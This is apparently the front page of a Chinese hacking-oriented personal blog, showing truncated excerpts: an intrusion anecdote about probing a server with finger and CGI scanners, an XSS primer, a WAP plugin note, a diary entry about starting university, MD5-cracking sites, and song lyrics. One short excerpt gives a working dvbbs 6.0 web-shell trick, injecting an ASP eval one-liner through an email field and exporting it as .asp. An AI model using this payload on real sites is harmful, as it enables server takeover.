鬼仔's Blog

操作方法：在窗口里点一下鼠标左键，然后按PageDown键，就会看到文字组成的动画

需手工操作的动画：
观看地址

来自：华夏Blog

Once upon a time，我发现了一个网站，于是常规入侵。很好，它的FINGER开着，于是我编了一个SHELL，从aaa帐号试到zzz（bye the way，这是我发现的一个网上规律，那就是帐号的长度与口令的强度成正比，如果一个帐号只有两三位长，那它的口令一般也很简单，反之亦然，故且称之为若氏定理吧），结果一个帐号也不存在，我没有再试它的帐号。因为我被它开的端口吸引住了，它开着WWW，我就不信它不出错。一连拿了五种CGI和WWW扫描器总计扫了三四百种常见错误它几乎都不存在，我KAO，I服了YOU！也有几个错误，我不知道如何利用，算了。又绕着主机转了几圈，象狐狸遇见刺猬，无从下嘴。

还是看看root的信息吧：finger [email protected]
Login name: root In real life: system PRIVILEGED account
阅读全文 »

文章作者：HaK_BaN[BCT]（www.cnbct.org）
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

备注：本文已经刊登在9月《黑客手册》中，转载时请标明出处以及文章完整性，本文首发漏洞中心小组，后作者友情提交到邪恶八进制。

在开始读该篇文章的时候,请大家首先了解一下关于本文所提及到相关知识以及原理.
(跨站脚本攻击的详细解释)
跨站脚本攻击又名CSS/XSS,就是利用ASP等等的文件设置和编写时的错误或者疏忽不当，攻击者就可以利用这些来达到自己攻击目的，如果一个服务器存在这些漏洞，那么它的沦陷也是时间的问题！
这些文本文件一般都是要结合数据库来使用的，这些数据库有ACCESS、MSSQL、MYSQL、Oracle等！脚本攻击就是针对这些数据库来配合脚本对一些变量的过滤不严的问题来达到得到用户密码等敏感信息，修改数据库等目的！
在现在的形式来说,CS 阅读全文 »

这几天一直没怎么上网，除了些东西我都不知道，今天看到了大家都在把自己的blog改成支持wap浏览的，我就也改了改。
用的也是 Felix 做的 WAP插件V2.0最新版(Only 4 LBS) ，感谢一下先。

大家用手机访问 http://www.huaidan.org/blog/wap.asp 就可以看了。

如果只是想看看效果，可以用 Opera 或者 WinWap 来访问上面的地址，就可以看到效果。因为 Opera 和 WinWap 都具有 Wap浏览功能（推荐 Opera ）。
暂时用这个地址来访问，有空再修改一下，实现“手机用户和ＩＥ用户都可以输入同一个网址来访问我的网站”。

有手机的朋友，支持Wap的帮我测试下，谢咯！

来自：Bluelight的小窝

for dvbbs 6.0
进入后台后 ,先到用户管理 ,随便改个人的邮件地址为,<%eval request(chr(35))%>@163.com
保存后,找到邮件列表导出,然后导出邮件列表到文本 把文件名的名字改为.asp,点导出，就得到了一个shell

引用伤口的一句话：我还活着没有死。

好几天没有写日志了，我blog上很少发生这样的情况。
主要是现在开学了，10号报到的，这几天事情也多，也不熟悉这里的情况，所以这几天没怎么上网。
因为我来的晚，所以现在我跟大二的住在一起，寝室一共六个人，只有我一个大一的。
而且他们有四个人都带了电脑，过段时间我也准备把我电脑搬来，这样上网就方便多了。
在学校的生活还可以吧，虽然现在的生活跟我以前想象的大学生活有一定的差距，但是总的来说差距也不是太大。
还能适应，只有一点不适应的就是没什么朋友，因为我来的晚，又没跟班上的人住在一起。
寝室的其他人跟我的活动时间不一样，所以我平时都是独来独往，很难受，因为以前习惯了跟兄弟们腻在一起。
不过慢慢会习惯的，现在还是适应阶段。
还有一件事弄的我心里不爽，我来这个学校后买了个新的手机号，然后第二天就有一个本地的手机号开始调戏我。
对方知道我在哪个学校上学，甚至还知 阅读全文 »

以前记得见过一个国外站
就是收集MD5的,你也可以提交MD5上去
让他给你破解.但是后来把网址忘了.
前几天跟朋友们在群里说起来这事了
刚才又想起来了,就找了找.
这次记下来,以免再忘记.
也把我见过的这类的网站记到一块.
阅读全文 »

歌手：Shania Twain
http://download.go2sing.com/song/104388/1120298828.mp3
歌词：
Let’s go!

Don’t wantcha for the weekend –
don’t wantcha for a night
I’m only interested
if I can have you for life – yeah
Uh, I know I sound serious –
and baby I am
You’re a fine piece of real estate,
and I’m gonna get me some land

Oh, yeah
So, don’t try to run –
阅读全文 »